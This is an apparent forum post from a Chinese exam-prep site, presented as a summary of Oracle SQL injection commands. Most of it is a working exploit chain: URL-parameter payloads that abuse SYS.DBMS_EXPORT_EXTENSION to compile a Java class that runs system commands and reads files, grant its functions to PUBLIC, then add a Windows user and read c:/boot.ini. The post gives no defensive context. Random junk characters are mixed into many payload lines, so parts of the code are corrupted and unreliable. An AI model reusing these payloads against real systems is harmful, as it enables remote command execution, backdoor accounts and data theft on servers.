a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 46|回复: 0

[综合] Oracle辅导:oracleSQL注入命令总结

[复制链接]
发表于 2012-8-4 13:54:49 | 显示全部楼层 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
5 P2 S" l9 U+ `6 G. o$ w    /xxx.jsp?id=1 and ''1''''a''||(select SYS.DBMS_EXPORT_EXTENSION.....)
7 B) a; J6 V: g1 g; I% S. B0 t    的形式即可。(用" ''a''|| "是为了让语句返回true值)4 P3 m! Y- D/ j# U) O% m
    语句有点长,可能要用post提交。/ e/ @# ^& |% F3 I& q/ h: d6 `
    以下是各个步骤:! S8 M# e9 j1 Z4 W6 |
    1.创建包
% O- c. t  z& I) r" Z  v& l( }    通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:8 I- ?0 a6 G4 u# M8 d1 g
    /xxx.jsp?id=1 and ''1''''a''||(
: `/ e) t4 f4 Q    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''
' ^; D& N9 I$ Y' v    create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(/ @8 m0 E: f! G/ A9 w) I1 u* H) o. W
    new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}& _/ i: T) D: I  A! p
    }'''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual
& Y3 S2 O2 ?/ P; H# S0 U0 W    )
( i1 q9 z' c4 U( x/ h. h    ------------------------+ Q% r+ U+ v( |5 }# g: j
    如果url有长度限制,可以把readFile()函数块去掉,即:( p% _, y; o- K% x# g
    /xxx.jsp?id=1 and ''1''''a''||() c$ l( w$ H; L' H
    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''
- _; q* D( K# \* K4 U! P& P4 p8 [% V    create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
: _9 s7 J8 Z% k' x$ c2 M, s+ b) B    new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 n* _4 Y9 u3 C% M8 {4 {4 k0 H
    }'''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual
& f, v+ W( e: U6 A/ R# U    )
0 i7 D* U9 {% H    同时把后面步骤 linuxidc.com">www.linuxidc.com提到的 对readFile()的处理语句去掉。
# F$ H4 T8 f* t* g9 V6 D    ------------------------------
8 F) j! {' ~7 ]/ T1 W  K* y9 W    2.赋Java权限
+ [4 K1 p$ L' l/ L4 P0 q! i  d) H3 q    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''begin dbms_java.grant_permission( ''''''''''''''''PUBLIC'''''''''''''''', ''''''''''''''''SYS:java.io.FilePermission'''''''''''''''', '''''''''''''''''''''''''''''''', ''''''''''''''''execute'''''''''''''''' );end;'''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual' @; _+ z: V. G3 C" Y3 v( @
    3.创建函数5 s; J8 f% K0 ~5 R9 }' F
    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''
2 a% M/ m) k  ^' B    create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''''''''''LinxUtil.runCMD(java.lang.String) return String'''''''''''''''';   '''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual2 q+ T6 f3 a' Z) R  K  C0 \1 a
    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''''''': n, |# B- ~$ E4 S2 \+ e4 `7 D
    create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''''''''''LinxUtil.readFile(java.lang.String) return String'''''''''''''''';   '''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual
2 d9 z/ z: N- f    4.赋public执行函数的权限
. v4 D- ^& [6 q9 D8 n, J+ o    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''grant all on LinxRunCMD to public'''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual
  z- ^) w9 h/ f; z$ u  p    select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(''FOO'',''BAR'',''DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''''''grant all on LinxReadFile to public'''''''';END;'''';END;--'',''SYS'',0,''1'',0) from dual1 c4 X2 t- ]  U! B( ~4 z* G. s: P
    5.测试上面的几步是否成功0 i$ z: \7 s/ _! w2 y
    and ''1''''11''||(1 F! B4 S; z  Y3 i8 @
    select OBJECT_ID from all_objects where object_name =''LINXRUNCMD''; M! z  q- a+ S( L. Z
    )8 P$ Z  ~2 X1 g. k$ S- i! a5 Y
    and ''1''(+ u3 ?* x& F0 L* ]* f: z
    select OBJECT_ID from all_objects where object_name =''LINXREADFILE''1 f+ `% x4 g7 _4 b
    )1 t! Z5 \# B1 W' Z
    6.执行命令:" _; Y! Q3 N5 R" k1 L, ?; t/ _
    /xxx.jsp?id=1 and ''1''(; [- T! [" e3 t/ }( ~9 k/ p! s
    select sys.LinxRunCMD(''cmd /c net user linx /add'') from dual
! [% a/ v0 }- s: ~; x1 z    )
+ O' \# f7 [' s: ~. w' j    /xxx.jsp?id=1 and ''1''(
) e* Z: X0 _) {    select sys.LinxReadFile(''c:/boot.ini'') from dual
* C$ F1 ^. p2 D    )- C2 j. e: e% L) y
    注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1" 代替 "and ''1''"。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-21 06:33 , Processed in 0.181447 second(s), 21 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表